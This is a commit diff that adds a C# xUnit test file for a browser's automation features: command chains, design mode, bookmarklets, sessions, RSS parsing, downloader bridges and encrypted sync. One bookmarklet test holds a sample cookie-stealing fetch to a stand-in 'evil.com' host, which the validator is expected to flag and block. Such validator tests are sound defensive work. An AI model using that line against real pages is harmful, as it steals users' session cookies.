feat(ads/seo/release): v1.2.0 with live Google Ads, isolated ad profile, ads.txt, and SEO/AEO/GEO optimization

This commit is contained in:
Yun Chan 2026-09-14 00:39:44 +09:00
parent a88aafa1e5
commit 0e568f1f0a
975 changed files with 130593 additions and 16783 deletions

View file

@ -0,0 +1,449 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Threading.Tasks;
using Paca.Browser.Automation;
using Xunit;
namespace Paca.Tests;
public sealed class ModernBrowsingMilestone12Phase112Tests : IDisposable
{
private readonly string _tempDir;
public ModernBrowsingMilestone12Phase112Tests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "paca_m12_test_" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
}
public void Dispose()
{
try
{
if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, true);
}
catch { }
}
[Fact]
public async Task Gate182_CommandChainEngine_ExecutesMacroChainAndHandlesErrors()
{
// Arrange
var engine = new CommandChainEngine();
var actions = new List<CommandAction>
{
new(CommandActionKind.MuteTab, "tab-alpha"),
new(CommandActionKind.Screenshot, "viewport"),
new(CommandActionKind.CloseTab, "tab-alpha")
};
var chain = new CommandChain("chain-quick-clean", "Quick Clean & Close", actions, StopOnError: true);
engine.RegisterChain(chain);
// Act 1: Verify chain registered
var retrieved = engine.GetChain("chain-quick-clean");
Assert.NotNull(retrieved);
Assert.Equal("Quick Clean & Close", retrieved.Name);
Assert.Equal(3, retrieved.Actions.Count);
// Act 2: Execute successful chain with execution tracker
var executedActions = new List<CommandActionKind>();
var result = await engine.ExecuteChainAsync("chain-quick-clean", async action =>
{
executedActions.Add(action.Kind);
await Task.Yield();
return true;
});
// Assert 2
Assert.True(result.IsSuccess);
Assert.Equal(3, result.ExecutedStepCount);
Assert.Equal(3, executedActions.Count);
Assert.Equal(CommandActionKind.MuteTab, executedActions[0]);
Assert.Equal(CommandActionKind.Screenshot, executedActions[1]);
Assert.Equal(CommandActionKind.CloseTab, executedActions[2]);
Assert.Empty(result.ErrorMessage ?? string.Empty);
// Act 3: Error handling when action fails with StopOnError enabled
var errorChain = new CommandChain("chain-with-failure", "Fail at step 2", new List<CommandAction>
{
new(CommandActionKind.DuplicateTab, "tab-1"),
new(CommandActionKind.ExecuteScript, "throw new Error()"),
new(CommandActionKind.ReloadTab, "tab-1")
}, StopOnError: true);
engine.RegisterChain(errorChain);
var failStepExecuted = 0;
var failResult = await engine.ExecuteChainAsync("chain-with-failure", async action =>
{
failStepExecuted++;
if (action.Kind == CommandActionKind.ExecuteScript)
{
await Task.Yield();
return false; // Action failure
}
return true;
});
Assert.False(failResult.IsSuccess);
Assert.Equal(2, failResult.ExecutedStepCount);
Assert.Equal(2, failStepExecuted); // Did not run 3rd action
Assert.False(string.IsNullOrWhiteSpace(failResult.ErrorMessage));
}
[Fact]
public void Gate183_DesignModeCoordinator_TogglesDesignModeAndGeneratesScripts()
{
// Arrange
var coordinator = new DesignModeCoordinator();
string tabId = "tab-editor-101";
// Assert initial state
Assert.False(coordinator.IsDesignModeEnabled(tabId));
// Act 1: Toggle ON
var eventFired = false;
string? eventTabId = null;
bool? eventState = null;
coordinator.DesignModeChanged += (t, state) =>
{
eventFired = true;
eventTabId = t;
eventState = state;
};
var state1 = coordinator.ToggleDesignMode(tabId);
// Assert 1
Assert.True(state1);
Assert.True(coordinator.IsDesignModeEnabled(tabId));
Assert.True(eventFired);
Assert.Equal(tabId, eventTabId);
Assert.True(eventState);
Assert.Equal("Design Mode: ON", coordinator.GetStatusBadgeText(tabId));
// Act 2: Verify scripts
Assert.Equal("document.designMode = 'on';", coordinator.GetEnableScript());
Assert.Equal("document.designMode = 'off';", coordinator.GetDisableScript());
Assert.Contains("document.designMode", coordinator.GetToggleScript());
// Act 3: Toggle OFF
var state2 = coordinator.SetDesignMode(tabId, false);
Assert.False(state2);
Assert.False(coordinator.IsDesignModeEnabled(tabId));
Assert.Equal("Design Mode: OFF", coordinator.GetStatusBadgeText(tabId));
// Act 4: Clean up tab
coordinator.RemoveTab(tabId);
Assert.False(coordinator.IsDesignModeEnabled(tabId));
}
[Fact]
public async Task Gate184_BookmarkletRunner_ValidatesSafetyAndExecutesScript()
{
// Arrange
var runner = new BookmarkletRunner();
// Act 1: Format and extraction
Assert.True(BookmarkletRunner.IsBookmarklet("javascript:(function(){alert('hello');})();"));
Assert.True(BookmarkletRunner.IsBookmarklet("JAVASCRIPT:void(0);"));
Assert.False(BookmarkletRunner.IsBookmarklet("https://example.com/search?q=javascript"));
var extracted = BookmarkletRunner.ExtractScript("javascript:%28function%28%29%7Balert%28%27paca%27%29%3B%7D%29%28%29%3B");
Assert.Equal("(function(){alert('paca');})();", extracted);
// Act 2: Safety validation
var safeScript = "javascript:document.body.style.backgroundColor='yellow';";
var safeValidation = runner.Validate(safeScript);
Assert.True(safeValidation.IsValid);
Assert.True(safeValidation.IsSafe);
Assert.Equal(BookmarkletRiskLevel.Safe, safeValidation.RiskLevel);
Assert.Empty(safeValidation.SecurityWarnings);
var suspiciousScript = "javascript:fetch('https://malicious.evil.com/steal?c=' + document.cookie);";
var susValidation = runner.Validate(suspiciousScript);
Assert.True(susValidation.IsValid);
Assert.False(susValidation.IsSafe);
Assert.Equal(BookmarkletRiskLevel.HighRisk, susValidation.RiskLevel);
Assert.NotEmpty(susValidation.SecurityWarnings);
Assert.Contains(susValidation.SecurityWarnings, w => w.Contains("cookie") || w.Contains("exfiltration") || w.Contains("fetch"));
// Act 3: Execution with script executor delegate
var execSafeResult = await runner.ExecuteBookmarkletAsync(safeScript, async script =>
{
await Task.Yield();
return "yellow";
});
Assert.True(execSafeResult.Success);
Assert.Equal("yellow", execSafeResult.Output);
// High-risk execution blocked by default unless explicitly allowed
var execSusResult = await runner.ExecuteBookmarkletAsync(suspiciousScript, async script =>
{
await Task.Yield();
return "stolen";
}, allowHighRisk: false);
Assert.False(execSusResult.Success);
Assert.Contains("Blocked", execSusResult.ErrorMessage ?? string.Empty);
}
[Fact]
public void Gate185_NamedSessionManager_SavesRestoresAndExportsSessions()
{
// Arrange
var storagePath = Path.Combine(_tempDir, "sessions_db.json");
var manager = new NamedSessionManager(storagePath);
var tabItems = new List<TabSessionItem>
{
new("https://github.com/microsoft", "Microsoft GitHub", IsPinned: true, TabIndex: 0, GroupName: "Development"),
new("https://learn.microsoft.com/dotnet", ".NET Documentation", IsPinned: false, TabIndex: 1, GroupName: "Development"),
new("https://stackoverflow.com/questions", "StackOverflow", IsPinned: false, TabIndex: 2, GroupName: null)
};
// Act 1: Save session
var savedSession = manager.SaveSession("NetCoreWorkspace", tabItems, "Work session for .NET development");
Assert.NotNull(savedSession);
Assert.Equal("NetCoreWorkspace", savedSession.Name);
Assert.Equal(3, savedSession.Tabs.Count);
// Act 2: Persistence check
var reloadedManager = new NamedSessionManager(storagePath);
var fetched = reloadedManager.GetSessionByName("NetCoreWorkspace");
Assert.NotNull(fetched);
Assert.Equal("Work session for .NET development", fetched.Description);
Assert.Equal(3, fetched.Tabs.Count);
// Act 3: Restoration
var restoredTabs = reloadedManager.RestoreSession("NetCoreWorkspace");
Assert.Equal(3, restoredTabs.Count);
Assert.True(restoredTabs[0].IsPinned);
Assert.Equal("Development", restoredTabs[0].GroupName);
Assert.Equal("https://github.com/microsoft", restoredTabs[0].Url);
// Act 4: Export and Import
var jsonExport = reloadedManager.ExportSessionToJson("NetCoreWorkspace");
Assert.Contains("NetCoreWorkspace", jsonExport);
Assert.Contains("https://github.com/microsoft", jsonExport);
var importStorage = Path.Combine(_tempDir, "imported_sessions.json");
var importManager = new NamedSessionManager(importStorage);
var imported = importManager.ImportSessionFromJson(jsonExport);
Assert.NotNull(imported);
Assert.Equal("NetCoreWorkspace", imported.Name);
Assert.Equal(3, imported.Tabs.Count);
// Act 5: Delete session
var deleted = reloadedManager.DeleteSession("NetCoreWorkspace");
Assert.True(deleted);
Assert.Null(reloadedManager.GetSessionByName("NetCoreWorkspace"));
}
[Fact]
public void Gate186_RssFeedReaderEngine_DiscoversAndParsesRssAndAtomFeeds()
{
// Arrange
var engine = new RssFeedReaderEngine();
// Act 1: Feed Discovery from HTML
var html = @"
<!DOCTYPE html>
<html>
<head>
<title>Tech Portal</title>
<link rel=""alternate"" type=""application/rss+xml"" title=""Tech RSS Feed"" href=""/feeds/rss.xml"" />
<link rel=""alternate"" type=""application/atom+xml"" title=""Tech Atom Feed"" href=""https://techportal.io/atom.xml"" />
</head>
<body>
<h1>Welcome</h1>
</body>
</html>";
var discovered = engine.DiscoverFeeds(html, baseUrl: "https://techportal.io");
Assert.Equal(2, discovered.Count);
Assert.Equal("Tech RSS Feed", discovered[0].Title);
Assert.Equal("https://techportal.io/feeds/rss.xml", discovered[0].Url);
Assert.Equal(FeedKind.Rss, discovered[0].Kind);
Assert.Equal("Tech Atom Feed", discovered[1].Title);
Assert.Equal("https://techportal.io/atom.xml", discovered[1].Url);
Assert.Equal(FeedKind.Atom, discovered[1].Kind);
// Act 2: Parse RSS 2.0
var rssXml = @"<?xml version=""1.0"" encoding=""UTF-8""?>
<rss version=""2.0"">
<channel>
<title>Tech Portal News</title>
<link>https://techportal.io</link>
<description>Daily tech news feeds</description>
<item>
<title>PACA Browser 2.0 Released</title>
<link>https://techportal.io/articles/paca-2</link>
<description>Modern multi-engine browser updates.</description>
<pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate>
<author>editor@techportal.io</author>
</item>
</channel>
</rss>";
var rssChannel = engine.ParseFeed(rssXml);
Assert.Equal("Tech Portal News", rssChannel.Title);
Assert.Equal("https://techportal.io", rssChannel.Link);
Assert.Single(rssChannel.Items);
Assert.Equal("PACA Browser 2.0 Released", rssChannel.Items[0].Title);
Assert.Equal("https://techportal.io/articles/paca-2", rssChannel.Items[0].Link);
Assert.Contains("Modern multi-engine", rssChannel.Items[0].Summary);
Assert.NotNull(rssChannel.Items[0].PubDate);
// Act 3: Parse Atom 1.0
var atomXml = @"<?xml version=""1.0"" encoding=""utf-8""?>
<feed xmlns=""http://www.w3.org/2005/Atom"">
<title>Tech Atom Stream</title>
<subtitle>Atom subtitle</subtitle>
<link href=""https://techportal.io"" />
<entry>
<title>Atom Entry One</title>
<link href=""https://techportal.io/atom/entry-1"" />
<id>urn:uuid:60a76c80-d399-11d9-b91C-0003939e0af6</id>
<updated>2026-09-13T07:00:00Z</updated>
<summary>Atom summary content snippet.</summary>
<author><name>Alice</name></author>
</entry>
</feed>";
var atomChannel = engine.ParseFeed(atomXml);
Assert.Equal("Tech Atom Stream", atomChannel.Title);
Assert.Single(atomChannel.Items);
Assert.Equal("Atom Entry One", atomChannel.Items[0].Title);
Assert.Equal("https://techportal.io/atom/entry-1", atomChannel.Items[0].Link);
Assert.Equal("Atom summary content snippet.", atomChannel.Items[0].Summary);
Assert.Equal("Alice", atomChannel.Items[0].Author);
}
[Fact]
public async Task Gate187_ExternalDownloaderBridge_BuildsArgsAndDispatchesTasks()
{
// Arrange
var bridge = new ExternalDownloaderBridge();
var task = new DownloadDispatchTask(
Url: "https://example.com/downloads/bigfile.iso",
DestinationDirectory: @"D:\Downloads",
FileName: "bigfile.iso",
Referer: "https://example.com/files",
UserAgent: "PacaBrowser/2.0");
// Act 1: IDM CLI args
var idmArgs = bridge.BuildCommandLineArgs(ExternalDownloaderType.Idm, task);
Assert.Contains("/d", idmArgs);
Assert.Contains("https://example.com/downloads/bigfile.iso", idmArgs);
Assert.Contains(@"/p ""D:\Downloads""", idmArgs);
Assert.Contains("/f \"bigfile.iso\"", idmArgs);
// Act 2: Aria2 CLI args
var aria2Args = bridge.BuildCommandLineArgs(ExternalDownloaderType.Aria2, task);
Assert.Contains("https://example.com/downloads/bigfile.iso", aria2Args);
Assert.Contains(@"--dir=""D:\Downloads""", aria2Args);
Assert.Contains(@"--out=""bigfile.iso""", aria2Args);
Assert.Contains(@"--header=""Referer: https://example.com/files""", aria2Args);
// Act 3: Motrix Deeplink / CLI args
var motrixArgs = bridge.BuildCommandLineArgs(ExternalDownloaderType.Motrix, task);
Assert.Contains("bigfile.iso", motrixArgs);
Assert.Contains("https://example.com/downloads/bigfile.iso", motrixArgs);
// Act 4: Aria2 JSON-RPC payload
var rpcPayload = bridge.BuildAria2JsonRpcPayload(task, secretToken: "token_12345");
Assert.Contains(@"""jsonrpc"":""2.0""", rpcPayload);
Assert.Contains(@"""method"":""aria2.addUri""", rpcPayload);
Assert.Contains("token:token_12345", rpcPayload);
Assert.Contains("bigfile.iso", rpcPayload);
// Act 5: Dispatch execution via CLI process runner
var config = new ExternalDownloaderConfig(ExternalDownloaderType.Aria2, @"C:\Tools\aria2c.exe");
string? launchedExe = null;
string? launchedArgs = null;
var dispatchCliResult = await bridge.DispatchViaCliAsync(config, task, (exe, args) =>
{
launchedExe = exe;
launchedArgs = args;
return Task.FromResult(true);
});
Assert.True(dispatchCliResult.Success);
Assert.Equal(@"C:\Tools\aria2c.exe", launchedExe);
Assert.NotNull(launchedArgs);
// Act 6: Dispatch execution via JSON-RPC
var rpcConfig = new ExternalDownloaderConfig(ExternalDownloaderType.Aria2, string.Empty, "http://localhost:6800/jsonrpc", "token_12345");
string? rpcEndpoint = null;
string? rpcBody = null;
var dispatchRpcResult = await bridge.DispatchViaRpcAsync(rpcConfig, task, (url, payload) =>
{
rpcEndpoint = url;
rpcBody = payload;
return Task.FromResult(@"{""jsonrpc"":""2.0"",""id"":""paca-dl-1"",""result"":""gid_999""}");
});
Assert.True(dispatchRpcResult.Success);
Assert.Equal("http://localhost:6800/jsonrpc", rpcEndpoint);
Assert.NotNull(rpcBody);
Assert.Equal("gid_999", dispatchRpcResult.ExternalTaskId);
}
[Fact]
public void Gate188_LocalP2pSyncEngine_GeneratesEncryptedPayloadsAndRestoresData()
{
// Arrange
var sender = new LocalP2pSyncEngine(deviceId: "paca-desktop-x", deviceName: "Main Workstation");
var receiver = new LocalP2pSyncEngine(deviceId: "paca-mobile-y", deviceName: "Phone Client");
var secretPass = "StrongSyncPassphrase!2026";
var bookmarksJson = "{\"bookmarks\":[{\"title\":\"Paca Docs\",\"url\":\"https://paca.dev\"}]}";
// Act 1: Encrypt payload
var envelope = sender.CreateEncryptedPayload(bookmarksJson, SyncDataType.Bookmarks, secretPass);
// Assert 1: Envelope properties
Assert.NotNull(envelope);
Assert.Equal("paca-desktop-x", envelope.DeviceId);
Assert.Equal("Main Workstation", envelope.DeviceName);
Assert.Equal(SyncDataType.Bookmarks, envelope.DataType);
Assert.False(string.IsNullOrWhiteSpace(envelope.EncryptedData));
Assert.False(string.IsNullOrWhiteSpace(envelope.Salt));
Assert.False(string.IsNullOrWhiteSpace(envelope.Iv));
Assert.False(string.IsNullOrWhiteSpace(envelope.Checksum));
Assert.DoesNotContain("Paca Docs", envelope.EncryptedData); // Encrypted!
// Act 2: Decrypt with correct passphrase
var decrypted = receiver.DecryptPayload(envelope, secretPass);
Assert.NotNull(decrypted);
Assert.Equal(bookmarksJson, decrypted.JsonContent);
Assert.Equal(SyncDataType.Bookmarks, decrypted.DataType);
Assert.Equal("paca-desktop-x", decrypted.DeviceId);
// Act 3: Decrypt with incorrect passphrase fails
Assert.ThrowsAny<CryptographicException>(() =>
{
receiver.DecryptPayload(envelope, "WrongPassword#123");
});
// Act 4: Tampered payload fails integrity check
var tamperedEnvelope = envelope with { Checksum = Convert.ToBase64String(new byte[32]) };
Assert.ThrowsAny<CryptographicException>(() =>
{
receiver.DecryptPayload(tamperedEnvelope, secretPass);
});
// Act 5: Serialization roundtrip to JSON
var envelopeJson = sender.SerializeEnvelope(envelope);
var restoredEnvelope = receiver.DeserializeEnvelope(envelopeJson);
Assert.NotNull(restoredEnvelope);
Assert.Equal(envelope.DeviceId, restoredEnvelope.DeviceId);
var roundtripDecrypted = receiver.DecryptPayload(restoredEnvelope, secretPass);
Assert.Equal(bookmarksJson, roundtripDecrypted.JsonContent);
}
}